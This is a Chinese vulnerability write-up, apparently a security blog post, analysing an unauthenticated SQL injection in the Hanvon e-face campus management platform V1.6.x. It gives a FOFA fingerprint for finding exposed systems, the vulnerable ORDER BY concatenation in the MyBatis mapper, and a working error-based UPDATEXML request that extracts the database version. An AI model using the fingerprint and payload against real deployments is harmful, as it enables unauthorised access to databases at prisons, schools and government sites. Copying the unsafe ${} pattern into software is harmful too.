汉王e脸通综合管理平台 queryAntisubmarineList.do SQL注入漏洞


漏洞简介

汉王e脸通综合管理平台是汉王公司研发的一款基于生物识别技术的智慧园区管理软件,集成了考勤管理、门禁管理、访客管理、巡更管理、消费管理、车控管理、梯控管理、人事管理等多个模块,广泛应用于政府、企业、监狱、学校、智慧社区等多个领域,实现无接触式快速通行,提升管理效率和安全性。其管理平台的 queryAntisubmarineList.do 接口存在 SQL 注入漏洞。攻击者可在无需认证的情况下,通过构造恶意请求参数注入恶意 SQL 语句,导致数据库信息泄露、数据篡改甚至系统权限提升,影响系统数据安全和完整性。

影响版本

V1.6.x

fofa语法

icon_hash="1380907357"

漏洞分析

直接看 AntisubmarineController 里关于 queryAntisubmarineList 的实现

@RequestMapping(
        value = {"queryAntisubmarineList.do"},
        method = {RequestMethod.GET}
    )
    @ResponseBody
    public RequestJson queryAntisubmarineList(@RequestParam(required = false) Integer page, @RequestParam(required = false) Integer pageSize, @RequestParam(required = false) String key, @RequestParam(required = false) String order, @RequestParam(required = false) String columnKey) {
        RequestJson result = new RequestJson();
        if (page == null) {
            page = Constants.DEFAULT_START_PAGE_INDEX;
        }

        if (pageSize == null) {
            pageSize = Constants.PAGE_SIZE;
        }

        PageHelper.startPage(page, pageSize);

        try {
            AntiStealthyParams record = new AntiStealthyParams();
            record.setKey(key);
            record.setColumnKey(columnKey);
            record.setOrder(order);
            List<AntiStealthyVO> antiStealthyVOList = this.antisubmarineAsm.queryAntiStealthyList(record);
            PageInfo<AntiStealthyVO> info = new PageInfo(antiStealthyVOList);
            result.setObj(info);

和 汉王e脸通综合管理平台 queryManyPeopleGroupList.do SQL注入漏洞 处理逻辑差不多,直接看对应的 mapper xml文件 AccessAntisubmarineDao.xml

<select id="queryAntiStealthyList" resultMap="BaseResultMap2">
    select anti.*,dbi.SZ_NAME AS DEVICE_NAME from ACCESS_ANTI_SUBMARINE anti
    left join DEV_DEVICE dbi on dbi.NG_ID = anti.CONTROL_INFO_ID
    where anti.STATE != 1
    AND dbi.nt_state = 1
    <if test="key !=null and key != '' ">
      and dbi.SZ_NAME like CONCAT('%',#{key},'%')
    </if>
    <if test="controlInfoId !=null and controlInfoId != '' ">
      and dbi.NG_ID = #{controlInfoId}
    </if>
    order by
    <if test="order == null or order == ''">
      dbi.ts_last_active desc
    </if>
    <if test="order != null and order != ''">
      ${columnKey} ${order}
    </if>
  </select>

用户可控的 columnKey 和 order 参数未经任何过滤直接拼接到 SQL 语句的 ORDER BY 子句中,导致攻击者可构造恶意输入执行任意 SQL 命令,造成SQL注入漏洞。

漏洞复现

GET /manage/antisubmarine/queryAntisubmarineList.do?recoToken=67mds2pxXQb&page=1&pageSize=10&order=(UPDATEXML(2920,CONCAT(0x7e,@@version,0x7e,(SELECT+(ELT(123=123,1)))),8357)) HTTP/1.1
Host: hanvon.mrxn.net

成功利用报错注入获取到数据库版本号


手机扫码阅读

汉王e脸通综合管理平台 meetingPersonal/uploadMeetingFile.do 任意文件上传漏洞

汉王e脸通综合管理平台 Meeting 多个SQL注入漏洞

评 论